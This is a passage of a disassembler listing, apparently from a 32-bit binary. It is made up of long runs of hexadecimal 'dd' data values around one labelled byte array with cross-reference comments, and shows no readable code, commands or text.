dd 1D3FC138h, 0AEF2DC3Bh, 22817800h, 0AF320751h, 59CA00F6h
dd 0B0FC7214h, 0C20021BBh, 309B0C91h, 0AA7805h, 9CEE55E1h
dd 1C362B68h, 0E707D800h, 0C1492C40h, 9DCF1DB5h, 0EB3B8078h
dd 3993B013h, 0CDF00F50h, 0F7DC8600h, 3D696554h, 15FE4D1h
dd 2BC99747h, 242007FAh, 53005C80h, 0E02F8952h, 0B606CBh
dd 665BA8ECh, 1392188Fh, 0CD086F01h, 8A75C696h, 3882DFE5h
dd 6CCCB61Eh, 0D9980040h, 8F24860Fh, 0CDD81C9h, 60E683EDh
dd 0EB0438h, 0D62D513Ah, 0D394C19Ah, 24CE610h, 9C29EF00h
dd 0E4F682Fh, 0A563C700h, 5C60FA55h, 53D5002Ah, 0D0BD8461h
dd 541DD78Dh, 0A649EADEh, 0C0F20h, 0D9AF377Bh, 419C00FAh
dd 0B70F492Bh, 8CA0B1F1h, 62012824h, 0E1DCBED8h, 5FE1D1BDh
dd 6955F0h, 3FACCCCDh, 0C14D5334h, 1C2A2562h, 0F8AC6041h
dd 487379h, 4E042AA1h, 0F326E13h, 29457312h, 0E7126C40h
dd 57280DCh, 0CC936C8Dh, 20C000BEh, 795822D7h, 190FD54h
dd 13A0A30Fh, 0AE9287C4h, 1541D1E0h, 47E7954h, 5F97D625h
dd 9178D067h, 3701BB4Ah, 0E417DEB8h, 7FCC2E51h, 0A05CB89Bh
dd 75C671ECh, 0C8F24125h, 6B005E2Fh, 99E3BBA9h, 0A35893Dh
dd 0F906D0E1h, 8620A1h, 9F8F5ECCh, 0F075B0EDh, 29945F12h
dd 90B9C200h, 3C3D46h, 155A6F41h, 17BFBB79h, 53F6A512h
dd 9DF0EC60h, 134F1D97h, 0D8058029h, 0B876C581h, 0BC2F5E00h
dd 7277BB23h, 5CDF0037h, 0F839D42Eh, 1F2429FFh, 0EA1D7C32h
dd 0EF234A47h, 876C04DFh, 6F855490h, 0E6D6005Dh, 8019A904h
dd 0B4A06611h, 0B8901E15h, 6D11C960h, 3ECDE045h, 4300C7ADh
dd 42DDB408h, 0F83F36F5h, 0F4960003h, 0B7B21E21h, 0C00AFA10h
dd 47A217A2h, 61079E3Bh, 397EB8Ch, 0C94F80CEh, 1F6EFC0h
dd 9F1ED9AEh, 0D496BF75h, 0F300CEC6h, 0AA7232A2h, 1BC206h
dd 56615A47h, 4D2E4B39h, 258DA600h, 97EDE975h, 0F69A0045h
dd 0C541CC2h, 7202F2E1h, 0EA076B29h, 74C048A9h, 0B690EEFh
dd 4DC08FCBh, 5C566657h, 37FCF3Fh, 6B3A1422h, 80F1CA25h
dd 8D7EA1F0h, 0B1900BBh, 592AE9D4h, 0C1007366h, 516DACD6h
dd 1DDC7C88h, 40D0FF4Eh, 6F1F8521h, 0A307F944h, 0F6A0A920h
dd 0B2112CF0h, 891510AAh, 237500BFh, 5571E776h, 0DB1200FFh
dd 0F9A50C9Fh, 71F61D8h, 640043B9h, 477C9D6Bh, 0A520027h
dd 62F1EB9Ah, 2AF25523h, 119F4D00h, 90806E6Ch, 0EED071D1h
dd 0ACC007Ah, 0E220E34Ah, 8500640Dh, 0D85B72B7h, 7CB2468Ch
dd 0A46590E9h, 4A14080Ch, 20C7F7A1h, 3A49B90h, 9D5E0C71h
dd 0F420E3B4h, 52FB8103h, 0F98DFE79h, 2ACCEFD7h, 5F993011h
dd 0A914D1F8h, 39666E00h, 0C9D47480h, 4F0807DCh, 714BBD4Dh
dd 0C09D25D2h, 873CC34Eh, 0F4EE1DD8h, 0F21DA80h, 2354829h
dd 0BA320BDh, 98E88E14h, 0C0007C19h, 1EA2E67Ah, 0BE687Fh
dd 0F529226Ch, 0A1C70C5Ch, 46000AE8h, 24DC2A15h, 179DE34h
dd 74DD08BAh, 6043481Eh, 1920B270h, 0E44FE32h, 0E4E0E558h
dd 0A3CAB20h, 0ED1A3174h, 0C07975FDh, 287CFB11h, 39838E2h
dd 5F72E701h, 20071C41h, 2B9F3F46h, 85507180h, 7F94A0F0h
dd 0F3B300B2h, 597D1C2Ah, 0D0E22F03h, 82048538h, 0C90832C7h
dd 2898486Dh, 71FC60A9h, 76F15958h, 0B1A85000h, 6E407BEBh
dd 162A12BBh, 0E6A840EEh, 48B9ABCCh, 0FF82BE02h, 40DC561Bh
dd 6C5FF663h, 0D728C677h, 912A000h, 67C33C3h, 5CE9E086h
dd 0DF00D759h, 0A26644AEh, 0BE0F3DA5h, 0C650F6F1h, 0BE83506h
dd 0B615823Bh, 7BC8D100h, 0E029CC6h, 0FDA7EFCEh, 2DAFE031h
db 0A1h
byte_525345 db 0, 4Ah, 20h ; DATA XREF: ___:004449DCo
; ___:00444D64o
dd 388F0804h, 16001474h, 7DA8F8BCh, 1E9CB5Eh, 0C7069FAEh
dd 30922C88h, 5B0148D4h, 0F4B3BC11h, 0B88E1C29h, 0D00F280Dh
dd 683A6C00h, 0B60080D2h, 0F9E30E44h, 9031C99Dh, 0A80800D8h
dd 0EFA521F8h, 0CE006C6Eh, 0D6F5DEB4h, 0C80E18h, 3B9C48A9h
dd 830D795Ch, 16C2A200h, 812CFFADh, 1D2E2C25h, 0C01934A0h
dd 299BD1A0h, 73460103h, 3F05E908h, 0C8004868h, 9E7E323h
dd 0A12E1199h, 0EC967C58h, 0A3B35003h, 2C7AA98Eh, 1406C7C8h
dd 0BC73FA12h, 92C13200h, 347FE5E9h, 28951B00h, 11AC91DDh
dd 4FA900DFh, 58E8F820h, 37006088h, 0F2CB6608h, 2D87285h
dd 714E69AEh, 0CC80E875h, 81FBCF97h, 0D6D83641h, 3E3A0009h
dd 5A905C52h, 0F2002280h, 6891FBACh, 408D19h, 0C8BC0FB5h
dd 377C560Bh, 200080F8h, 95DAA90Ch, 2187E2Fh, 3CCE9BA8h
dd 44009190h, 75253067h, 7D00C69h, 0C518CBBDh, 0B705EE07h
dd 0F2A0A8FEh, 0F83390h, 848D3A4Dh, 1A6229A5h, 0C30018B0h
dd 7A0210A8h, 3D1D7EAFh, 4D055A6Ch, 827FF335h, 376097F0h
dd 0FF5C642Eh, 13CC0E70h, 2285A0CBh, 0ACB31Eh, 0E8B60BBFh
dd 19C0C431h, 7F60B91Dh, 66562687h, 571F0C10h, 14210104h
dd 0F49C0332h, 69E82006h, 33A6171Ch, 2FEBC300h, 0BE3172h
dd 448E088Ah, 546099CEh, 7977407h, 7D209DE8h, 36CC737h
dd 0E7FFBD1h, 74C04B58h, 0E309B708h, 81BA61FDh, 0C47B2DD8h
dd 102C862h, 0C8F205Bh, 0F86DE3C0h, 0A13ED607h, 27C0AB9Dh
dd 2BE24Dh, 0F6CBC016h, 0CA6FD871h, 0C907200h, 0F0D76EC8h
dd 9F50098Ch, 80DF02h, 208D78CFh, 8B00A5FEh, 0C1D9B932h
dd 2F26D16h, 0B6BAE71h, 141CC04h, 2D84405Bh, 0FD01CF44h
dd 0B3E29153h, 3C3035ECh, 48CC0032h, 8E680E97h, 0FD4DAC26h
dd 5A59002Ch, 2B6E378Ah, 3E6117BCh, 0C600BAB8h, 367E16DEh
dd 7A11C005h, 20D018FBh, 3CBDB8C0h, 0C308F4h, 65916714h
dd 0F552DA25h, 5DB00307h, 45E368D0h, 0BF810031h, 81DD7CE9h
dd 0CE00E635h, 0D91822C2h, 17EF7F6h, 578EFB8h, 393B0816h
dd 0D79B0084h, 0A064AF71h, 304EFA24h, 8A30F5BBh, 26580660h
dd 0EFD400F4h, 0CBE7DEBEh, 4F6F09Dh, 0E393AF7Eh, 7621C08Ah
dd 0E8015A83h, 1B94199Ch, 0C5EC5116h, 0D8116059h, 6085C6EDh
dd 90805896h, 1FF71BFDh, 584300D8h, 85A4503Ah, 0E73CD3AEh
dd 1DBD8067h, 0D2E89F24h, 222806F1h, 0E837D5D7h, 50136B30h
dd 1382EC0h, 0FEACF5C9h, 3137521Eh, 1DD0F78Ch, 90008451h
dd 0C8F85873h, 4C7CA3A4h, 6C00624Dh, 0CBBAFA71h, 17097754h
dd 56DBCFFh, 0C880D8B8h, 2A26F87h, 22ECB516h, 0E4A0EAAFh
dd 1CE84376h, 444958h, 0C4B67377h, 14E325E2h, 8CD2CF8Bh
dd 88059B00h, 1E2FEDADh, 176FAA03h, 88B228D8h, 7E43E8h
dd 0B1304EBBh, 0F1264216h, 12D70A39h, 3001D350h, 0D4D6E61Bh
dd 95E660h, 8F65EF31h, 0A2290D42h, 0DA86EA00h, 0CF24F925h
dd 397EA16h, 1CD0B7E5h, 4AB1D188h, 7A4303Dh, 0AB777006h
dd 107AF0h, 32B49444h, 0EE15A89h, 99399700h, 7C48A38Ch
dd 0C19824CAh, 0B5360868h, 84889692h, 0C7EB0097h, 30A8FA6Ah
dd 6B001965h, 0EDF8F315h, 0E1BF6908h, 0CDA820h, 0A2476A9Fh
dd 2CEB9B24h, 9757DE00h, 8ECEC541h, 16FDB88Ch, 9C71A1h
dd 35E98804h, 67004A84h, 0DFE21BCAh, 0C2D342Ch, 0CCDA2F98h
dd 5EFA60FAh, 0F51D0F00h, 2EE42CA3h, 99A01F17h, 0F246C74Ch
dd 506AA77Eh, 1E2C4DEDh, 8A333100h, 2A47BC03h, 0F17E00B3h
dd 6258506Dh, 4B006066h, 137F3783h, 5392E6h, 9DDE1ACAh
dd 583395E3h, 23C1848h, 8277EB43h, 0D100C739h, 91850C6Ch
dd 5BA8803Ch, 3271E70Bh, 205FF202h, 49AE6BF6h, 54EDB0D8h
dd 0F3D4A441h, 0BEF9BC40h, 2BFE04C7h, 0B104D72Fh, 1B7C01Ch
dd 93275400h, 0C61A3EB4h, 0EE750F57h, 0B68A65h, 5DEA640Ch
dd 3A1D2677h, 1B434CE0h, 0F91975FBh, 0F7EC1152h, 239A0024h
dd 6BB0A307h, 0B700AE46h, 0D9657793h, 3ADCFC0h, 5712E8D4h
dd 6AF013A9h, 3707A8EDh, 719ECD63h, 0FD78CB30h, 32380330h
dd 1C60239Bh, 28A3EF8h, 0EEBF6A01h, 10BD2C3Fh, 78C0D3DCh
dd 4C4C70A5h, 773C8EA3h, 61B32281h, 0D8CA4256h, 0C0B83F7Eh
dd 9800A34Fh, 191825C2h, 0F3300FF8h, 0D609CC5h, 27EE8A49h
dd 0FE24C700h, 8F17D4E1h, 167A0FCBh, 4060D8C5h, 0EB90858Dh
dd 848B39h, 82C38944h, 7865E0Dh, 2E68E399h, 2D2CF331h
dd 2A2B8AA8h, 0F9662704h, 0C83A241h, 0AF13885Dh, 88930958h
dd 1820EC5Fh, 0A0F32B6Fh, 8B55BC07h, 2F41DC9Ah, 208F816Bh
dd 6280D4A7h, 0D1FFC698h, 3F5D2000h, 0B6D6164Eh, 661D00B3h
dd 6F3DDBCEh, 0C103F325h, 0DF702112h, 0DAAA0D8h, 882014D6h
dd 0E303385Dh, 62AB13E5h, 0F77A3000h, 8D551D3Bh, 1C0D00EDh
dd 0AB9F2F4Ah, 4600EE8Eh, 0A7FF7353h, 0DD10EF89h, 0AA240780h
dd 264AA091h, 39000BCCh, 157FD814h, 5ECA19h, 0A309E3C1h
dd 0A7227DCEh, 0DF351700h, 0D969398Ah, 634F013Bh, 21D1A21Fh
dd 8753012h, 330910B8h, 4299DA81h, 4D808E4h, 0E6005655h
dd 0ABC5FF46h, 1D7CE3Ah, 3085013h, 0F43E1259h, 5AE41952h
dd 8F541D3Bh, 2014C4F8h, 0CE132247h, 6C04007Eh, 0C80B50D9h
dd 0E004495h, 7AE19B9h, 1D45CDB8h, 948774h, 0DDF9B608h
dd 0CE076B0Fh, 0C6F363AAh, 718009C5h, 8A01ADh, 0BA76B6D9h
dd 0D6034975h, 614CC32Dh, 45E5180h, 0A47CC6C3h, 910F1007h
dd 3F30C5AEh, 19D075Eh, 68E0C045h, 0D8C6E73Eh, 560C13ACh
dd 2989E10Fh, 42084482h, 44346644h, 50848FADh, 44722836h
dd 22842865h, 5A50AA8Ah, 42841614h, 7266081Ch, 3CCE14C4h
dd 287C5311h, 0DAE31470h, 82067221h, 127B2901h, 7AF91064h
dd 3C41A689h, 58126BC6h, 887E8810h, 0C9893D0Ah, 274C24EAh
dd 1488C2B7h, 0D61114BEh, 8A02171h, 0E291C4D0h, 7D671C00h
dd 0E8EFCFA8h, 4D3B2C00h, 7B731451h, 2D2500DEh, 1BCD47CAh
dd 0AA00B374h, 303B7D61h, 0A5371Eh, 2C819415h, 865C437Bh
dd 635DF8F7h, 89198C00h, 9A032441h, 619E032Ch, 0A7E6F6F9h
dd 0C9B06DF3h, 330037EEh, 0E5120201h, 321D22h, 0A19DB158h
dd 1E7C9213h, 47205601h, 0A99196CBh, 0B726E20h, 0A565C83Ch
dd 1A20C30Ch, 326FB200h, 0BB5CB701h, 0BAC7019Eh, 23642759h
dd 833824D1h, 0BF6F4B0Dh, 1AD82868h, 563D005Fh, 2FFFFBAFh
dd 7D00F1DCh, 7F461BF6h, 0FA393C66h, 0B8A10796h, 8E061337h
dd 0E525D201h, 0BCABC48Ch, 60E74C24h, 7DC5D900h, 1223A7h
dd 61E96E06h, 0A1020B86h, 0EFCD9550h, 81C150Fh, 4E6280A9h
dd 3E041B1h, 0A3674240h, 2C90A209h, 0F17110E3h, 3EFFDD00h
dd 0CEE102AAh, 853F0B87h, 0D90C84F7h, 0E20E6341h, 40897DB8h
dd 0CB73A9Ah, 149F465h, 67E70452h, 41363D5Bh, 0C8F2A9B0h
dd 0EDB8847Fh, 0BD563800h, 0A5619791h, 13930088h, 356819BFh
dd 0D202B184h, 0ED1552DCh, 0A0D0AEFAh, 27368C0Fh, 0A9DD00B4h
dd 79910541h, 1100F7F3h, 871B2D45h, 0DEA0B0h, 8B906BFFh
dd 63B28822h, 606F7F00h, 11B1A4E0h, 45740767h, 60A15505h
dd 41E5A3E6h, 0CB5A9500h, 189E2243h, 7BA90070h, 8927178Eh
dd 3C007E0Eh, 26134B0Fh, 200A56h, 949B3083h, 8584A906h
dd 2F52B13h, 0C2FB01BBh, 0D0CB0451h, 0D13D59C5h, 46FA3052h
dd 8DFE08h, 5CAAEF37h
dd 833064BFh, 9C014F79h, 0E23982F1h, 0E840CF05h, 444611h
dd 71179F31h, 9A07A8Dh, 0F1F31300h, 6B6104B8h, 5BEC0053h
dd 0A5308E89h, 970307F0h, 143DB62Fh, 8B59896h, 93910172h
dd 88DC751Ch, 21B2FC27h, 0DF004CFCh, 8434486Ch, 15CAC6DBh
dd 0D8AC89B9h, 5DED4200h, 38685C7Ah, 5B13F109h, 0D57C0048h
dd 73C3B6h, 6EF2252Dh, 7D97F6A6h, 2BA20400h, 0A43E830h
dd 70E1006Ch, 3D25AF0Fh, 0BE00D3F7h, 0E0CA6729h, 9A8E69DAh
dd 4C9F02C0h, 2FE560DBh, 6309105Eh, 0B2200347h, 0D310880Dh
dd 0B5C70750h, 0D037B936h, 155F328Ah, 0D47CF4A0h, 917BCB00h
dd 62B6BA0Ah, 0CCEE0030h, 64A35574h, 6E008A69h, 0EAFE496Dh
dd 0F43673h, 14BB6515h, 0EFFAF67Eh, 80AC043Eh, 4A85DD46h
dd 0FC8FE5Eh, 5744946Dh, 7BCA1B20h, 4E7BFF5Ah, 0D03F0600h
dd 42FDF678h, 4FAF00C8h, 8B650FC5h, 31043EA6h, 0B19715BBh
dd 9CBDF880h, 10CC0119h, 0D6B7E14Bh, 5B20E8CFh, 0AD6DFC00h
dd 15BE77B0h, 0E6651C13h, 70F1403Ah, 20ACBFB4h, 21093C00h
dd 0DC8EA755h, 0D6060075h, 0C8E3AAD9h, 0A80086B0h, 0D1EA101h
dd 1525D49h, 0CF26558Eh, 60AED6ACh, 2F000BA8h, 0E08D201h
dd 7586667Ah, 2A77F2Ah, 8814C075h, 0A4875D89h, 9EE0200Dh
dd 310C3A05h, 185B0E6Ah, 82C81CA0h, 4E14402Dh, 0B46CC85h
dd 89009E79h, 0E53D5211h, 8FA174h, 325349B5h, 8E6569E8h
dd 6B63500h, 0DEA54E48h, 0C1A43DDDh, 1602888Eh, 0E32B1200h
dd 0B101D3DAh, 9552281Dh, 7C20E9EAh, 8A790017h, 0CEC9AE33h
dd 0BD037AB8h, 0CD4972E8h, 93E29815h, 37FD060Eh, 0B6FFE555h
dd 36002BF8h, 574E0B67h, 0C9E38Eh, 0B5B9E9EFh, 93638B32h
dd 0B064507h, 0FF91FECAh, 0B1E8F9D0h, 487F0298h, 0C539F733h
dd 0A8E83840h, 0CF2A3B07h, 7E907214h, 7F1CCDFh, 0E3E940DBh
dd 4D0F0D3h, 0B400AE58h, 4D5A3A0Dh, 39DDBF02h, 0EF84ECC6h
dd 8064B9C9h, 6BA6540h, 0DEE3470Fh, 1531A3EDh, 1E800CDh
dd 8F5FF596h, 3E00AEE7h, 8538706Ah, 0B42E3h, 80BB5076h
dd 3F994A1Dh, 40955F00h, 861F07B6h, 84736Ch, 2278E20Dh
dd 6ACCC0E1h, 26760C01h, 6D5002B6h, 0B413AC22h, 1D48ACDFh
dd 0EFC08C7Bh, 0CA3B75C2h, 5E89068h, 0B27EC45Ch, 6B1C8016h
dd 5B005EECh, 41FCC2Dh, 75F01Eh, 8C535048h, 3D5D6EF1h
dd 93920818h, 14FD1D11h, 0DC821819h, 1BBAFE00h, 7045674Eh
dd 0E363CA00h, 0DCC16D81h, 85420030h, 0BBD2DF9Ch, 0A60038E2h
dd 53BF8A8Bh, 92549B4h, 19C7F6ACh, 8F319400h, 0DAB05022h
dd 807DC43Fh, 291D5993h, 33812FEh, 1E6E0D6Dh, 7FF0D0B8h
dd 851661F8h, 5316B63Ch, 9B3E20A8h, 57A13504h, 0B098805Bh
dd 6B01AC7Ch, 33DF66C7h, 5EF8E5BAh, 6A4302F2h, 0A18AA66Ch
dd 0E09A4C61h, 0E7FC6149h, 0F1FD100h, 0F392B550h, 41EA00DDh
dd 0D8724375h, 0D400356Bh, 3BC05C60h, 0BAB0F9h, 310C9091h
dd 0BD074E8Dh, 0FACB207h, 6E10F5C2h, 5842C586h, 8B00CC0Ah
dd 46168757h, 7013331Bh, 8C017694h, 60F5BF65h, 3CC66F5h
dd 0E9E600C3h, 56543A2Dh, 495C75FDh, 0ACA2008Ch, 53C863CBh
dd 67A800B3h, 1F2C3D4Fh, 1379A438h, 961EB507h, 81EBA6C0h
dd 0FCD94188h, 22F8F808h, 64397C0Ah, 81008893h, 4DEC8871h
dd 1873B0h, 0E9228D4h, 0D06A38C8h, 46150900h, 0D9991332h
dd 5A7600DDh, 2D06926Ch, 0CB0058B0h, 1E322931h, 1553C15Ch
dd 0F4375004h, 9C3A3F71h, 0CD5D0075h, 0A077DC70h, 0E90097C6h
dd 4869FC02h, 908F0BE2h, 99A60012h, 0D7278E13h, 0FC07E995h
dd 40CAF38Ch, 0FAF86F31h, 0A529D4h, 55500656h, 0CB6D17EFh
dd 0F76ABA00h, 0A31B8C62h, 5F820049h, 0B77DD952h, 92501A98h
dd 5A000AF0h, 0D78F9E99h, 3F4E20h, 0E3C2C540h, 63F03BCDh
dd 8914B377h, 8EE5A2h, 298C300Dh, 4E1AADEh, 5C21BCC1h
dd 2E4C0FEh, 122C35DFh, 0F60E88D6h, 8B2380D5h, 0A1A5AC1Eh
dd 987098EAh, 0BEE12E7Ch, 0B7A10BACh, 0D9FBB421h, 0F8786048h
dd 0B400EF7Eh, 0C3EE37DBh, 60DFD453h, 0E2F2B14Ch, 58000942h
dd 47A688BFh, 3E5A0D28h, 0E9819ACAh, 802A1BABh, 0C42BEDA3h
dd 132C9874h, 388010AEh, 0D7A48963h, 126AFA15h, 434A4737h
dd 0D5D5E48h, 0AE20B007h, 8068A396h, 0BBCB670Fh, 3B00A73Ch
dd 8169E39Ah, 381949h, 4CE756CEh, 2DF2F5D0h, 2EA93E64h
dd 0A410C8C7h, 322C0Bh, 0C901F423h, 64466198h, 0CFE78900h
dd 1F598E1Dh, 0E527A07h, 0EE323D67h, 5575B520h, 5B0263B8h
dd 23400EC1h, 12ACA38Eh, 9C909CC9h, 535E367h, 4A7D3B41h
dd 0F1F2C008h, 0D53175ACh, 0D65188B2h, 0A0EBD470h, 1E97C3B8h
dd 0CB87FCh, 65E6348Eh, 0AB00D4B1h, 59CC9296h, 48C104h
dd 0C94F3926h, 0E5231F0Dh, 0EA34F301h, 0A38FBB99h, 285C5881h
dd 0F02B0548h, 13959F5h, 0F2A500DCh, 8D3BF611h, 428B27Dh
dd 0BE5C0A9Eh, 0FEA08014h, 5EB89D3Eh, 0B600A57Fh, 938CFB58h
dd 1F47B702h, 9FF1A3AEh, 46D58076h, 0FE1DF37Fh, 1603E3F4h
dd 0E8C53E69h, 1745D378h, 401598D0h, 0A1083BF0h, 0D20025F6h
dd 39664C58h, 0B8AA4D10h, 153D1C96h, 6DEDC399h, 200BE0Bh
dd 139210Fh, 280220BAh, 0E29CD895h, 76EA407Ch, 4800574Bh
dd 7EABB7E6h, 2A680F8Ah, 9E0016A4h, 8650B5C5h, 0D2F67D00h
dd 1106EA37h, 0F54E018Bh, 0E23A83CAh, 7916EC9Eh, 408A3E00h
dd 0C789C6D7h, 0FEA500BFh, 7BF8C8FFh, 58005DA6h, 0DF0AAE03h
dd 0B818D4Eh, 750FA5CCh, 2CA92C00h, 0A63E7308h, 0B14503D2h
dd 0A0D454C4h, 99928CEAh, 61AA807Ch, 0D9DEB7D2h, 3200E9FEh
dd 1225AF90h, 39F6060Ch, 4E00D65Fh, 501B4D4Ah, 1C0083BCh
dd 323AC579h, 8597F9h, 0F8DEE9F4h, 0A54F38AFh, 0DB78020Fh
dd 90EAE3FBh, 9B3DA80Eh, 287900A2h, 0F06EFE0Fh, 8C016FCCh
dd 0E47B6354h, 0CF91965h, 610F8h, 9BDD9837h, 0B0C703B2h
dd 725C6E00h, 7D30134h, 0EC3B17E8h, 69170038h, 0FE358621h
dd 6F26C804h, 1CA3BBC0h, 89ADB200h, 0A03A351Ch, 9BFC9A0Fh
dd 0F490E0DAh, 6017CD2h, 0BAD88726h, 0EEE29812h, 0C61D291Eh
dd 645D0A41h, 983C8023h, 895C8300h, 45990CACh, 0A6031807h
dd 8CF37E2Fh, 0F87DB05Bh, 4DAB002Ah, 818902BEh, 6B01C6E7h
dd 29630746h, 1AF8C737h, 66D00E1Bh, 96C92DD8h, 0D1738C00h
dd 6F07E452h, 0CE43492Fh, 53F146A0h, 9BAF0159h, 694D26F6h
dd 9FA6E4EDh, 137C563Eh, 0DC80E46Fh, 3CEA8CC5h, 5A80FA4Ch
dd 3074AAC4h, 0E93F898Bh, 0D1CC83CFh, 0F09A7127h, 2F65BFh
dd 660558D0h, 4B189D7h, 79121F7Bh, 68025698h, 4E8497Ch
dd 0E42F20DFh, 5C9084h, 11B50F93h, 0C8FC1D2Bh, 3272C000h
dd 109805E7h, 0A7930067h, 0F0AB8C83h, 0DD000776h, 0BA9D3DF6h
dd 0F5E243Fh, 0E39751F8h, 0F87A861h, 6EACF01Ch, 48E9D500h
dd 0D62FCA3Dh, 0C0DF138Ah, 0BE0000BAh, 79BBF505h, 0BDC8FD09h
dd 0FBA40325h, 7D10007Ah, 623C9463h, 3F078983h, 0DC55AE4Ah
dd 2F2CF7F0h, 0BAFA2Ah, 821221B9h, 0DE6E0706h, 0ADE8B80Ah
dd 3800B82Dh, 9AC1C8Ch, 37CE0063h, 6DBE6427h, 4200888Eh
dd 83A6C64Bh, 0A47CD18h, 7FCEE521h, 58EC8090h, 2DE1FDADh
dd 2AEBD05h, 0AC81318Eh, 0A03068F2h, 34281D7Fh, 0E0C2803Ah
dd 0DE96E3FDh, 52417400h, 0BD60BC84h, 0F435003Fh, 7DD82186h
dd 4E06C52Dh, 0A9F226FFh
dd 4B0F0B29h, 7E80B8C2h, 0E028E4Ch, 6C12E401h, 28E86D97h
dd 583DB7F8h, 0CD00021Dh, 51E584E3h, 0FE27E9AEh, 48180065h
dd 9E054D1h, 0DC66FDBh, 0A55ACE0h, 0F828C3BFh, 1CDDB259h
dd 40692AAAh, 0CCFCAC31h, 5B00074Fh, 0C5DB4338h, 3F0393h
dd 0E135A563h, 1317B06Ch, 8A234B03h, 0EC25C8h, 0ACF6EF58h
dd 0F4A444A2h, 10F31300h, 3648A6E7h, 20860289h, 4B37F888h
dd 0B3976560h, 0DFA17103h, 0D0D1A780h, 1F619C87h, 40B4A5E3h
dd 0E1CED572h, 0FD1546E5h, 0C060B3h, 0CFA35837h, 0B21F7BD3h
dd 82D70358h, 255D2A1Dh, 4A1547B0h, 7D896B39h, 42336300h
dd 12FD32Eh, 777B0088h, 3DADA58Ch, 0DE001722h, 7CAC54FFh
dd 0E610D0h, 4EA269EFh, 21B423D7h, 0C2685307h, 2040223Fh
dd 385A19h, 0DD9C4F32h, 42E58F1Ah, 0CE120B05h, 8403DB0Eh
dd 8856FC2Eh, 5EBEB1h, 0A9F83B6Ch, 73D1292Ah, 6582E002h
dd 802DD91Fh, 57944286h, 5A4E0514h, 9360D59Fh, 580C690h
dd 24005056h, 0C83CC997h, 18CDDDh, 530CFAA0h, 0B8B767B4h
dd 3DFE3900h, 33DBA760h, 73F4E7h, 75F51C96h, 62FA27Fh
dd 28D17604h, 0C913EDCh, 9170E6E3h, 5432EC59h, 578A416h
dd 1A0D1510h, 0A370D025h, 40615E8Eh, 76DA6E21h, 0E654CE0h
dd 3844DE6Bh, 876F00DDh, 8134A8Fh, 0E11E61C0h, 8284DE2h
dd 0EEDFB921h, 0F83AD002h, 0AC744184h, 1C145C3Ch, 3D00B617h
dd 0E6E22ABEh, 8B1CA686h, 0A300E5F6h, 96424A10h, 325E0E22h
dd 79A0252Bh, 26E643F4h, 4F0E1A75h, 4105CE37h, 0FF761FD5h
dd 0BD8DF840h, 235D017Ah, 84EC71B2h, 386630A7h, 8300807Ch
dd 8DC421D5h, 573F92h, 0F5102742h, 484E7954h, 0F30033EAh
dd 25FCDC77h, 98E99491h, 8C8D00A3h, 0EE63A83Bh, 67000E0Ah
dd 2A4475F1h, 50601A2h, 0B7AD4C08h, 0EB3480B6h, 0BA03A772h
dd 14F32A6Dh, 37318066h, 2BC90047h, 818BC2E1h, 36FCCA90h
dd 40FADFECh, 3C2F6301h, 0E760986Fh, 0EC5C2F8h, 377152D4h
dd 0EE49D600h, 75006AE0h, 4BA869C0h, 65C3060Bh, 0BA84F0AEh
dd 0CE0DEBC0h, 0B32D0725h, 90EACDD5h, 83A116EEh, 5AB1F200h
dd 40937A64h, 59F4F3h, 2A7B23FAh, 8C9F5FE8h, 0EFA72406h
dd 91FCF7h, 89E267F2h, 0ED5E3A7Dh, 6E6FB700h, 6C453548h
dd 0BA4F066Ah, 98088722h, 181F2F38h, 1D1190F9h, 247B91h
dd 0C8A035F4h, 0C5533BB3h, 8539FB0Bh, 0D80080B0h, 182D43Ah
dd 4DEB5E8h, 708A5046h, 0D900C617h, 0CDFC1EB2h, 7C7E6E8Dh
dd 0D3D50029h, 72433FB5h, 560F0E25h, 0A778389Dh, 6000429Fh
dd 9E2F8D45h, 51C81F74h, 7C370875h, 6E1A405Dh, 8A00883Ch
dd 8EFD1B3Eh, 1E32F64h, 80B15B2h, 0F3447387h, 0AE324001h
dd 0FE843347h, 0F0F21080h, 8A376516h, 0B3007B90h, 0DBE12418h
dd 0E50660h, 0BAD761B2h, 693D811Fh, 9D712602h, 408BD84Ch
dd 3FB3491h, 2B967B6Fh, 2C8847AAh, 0A0F256B7h, 675B3100h
dd 0B486287h, 2E300344h, 73B24B25h, 5CC4C690h, 8B0013F0h
dd 0C16D3454h, 2C872ECCh, 6B9083h, 0E8301278h, 0BA03FF26h
dd 0A9A69CDAh, 90DE48h, 1E91E95Dh, 0D7110A6Fh, 49CF3F00h
dd 0BECC13B5h, 0DA401FAFh, 2C528374h, 659026A5h, 0C300FD1Dh
dd 391FB730h, 0C4F8B5h, 92E96FE0h, 8A288006h, 0A67E8C00h
dd 2745745Ah, 0A1BC00BBh, 835E0938h, 0BD3F47B8h, 179850E5h
dd 885F8600h, 646E7EEEh, 47A800C7h, 0F8022B1Bh, 2A0095ADh
dd 0CCA022A3h, 693F88h, 261C259Dh, 5D66583h, 0DF158000h
dd 59931BEAh, 0A2350016h, 9B3C4CE8h, 320026D5h, 470994A7h
dd 2A0649h, 0BC236C8Ch, 3C31E2ABh, 0C5A0D000h, 0BBF25CCDh
dd 0B07F065Bh, 78702E80h, 9AE05702h, 0E0BC8242h, 0EF92AFh
dd 10B9A89Eh, 0C4EA3743h, 0F44B790Fh, 6DE5A0B5h, 3817340Eh
dd 711897B3h, 0DFCF4909h, 0DC47D105h, 0F400A91Ah, 0AE1B88A7h
dd 738D2AD2h, 0DA601DC8h, 0CD07CEE5h, 80B7A802h, 0E323A560h
dd 9B39FF60h, 14B4C0h, 68BF2E12h, 3C359D0Eh, 0D8BB9600h
dd 8609B854h, 0FAC200F5h, 0D012C310h, 0CE0C6C63h, 4CD7494Fh
dd 2E0B3D34h, 4B889C80h, 5FFCC6C3h, 0D64E9500h, 89275D39h
dd 1E750017h, 4F0B92CBh, 2B0124D0h, 88AB835Ch, 0B0842341h
dd 0AA3C3855h, 4BB41B81h, 0CEB481CEh, 0F9834872h, 1D4FA080h
dd 0D12C85E8h, 0E9BEC40Eh, 0EC9C404Eh, 4AA54Bh, 0F6AB5D0h
dd 0A2DE4940h, 29DC6D14h, 460578A7h, 6019BC7Ah, 0DE93AC01h
dd 0F8E3245Fh, 3E3950Fh, 45F0C49Eh, 0AAF10678h, 0D3DB60CAh
dd 9643BD00h, 5289E6DCh, 0B370C4h, 4FDAACD8h, 0D5ADEB8Ah
dd 0F3C8D201h, 3E0FC20h, 86B499DBh, 9F9C20h, 175BC532h
dd 0EDE80CBFh, 4E613800h, 0BA06D57Bh, 2DFCEEh, 0FF4D5335h
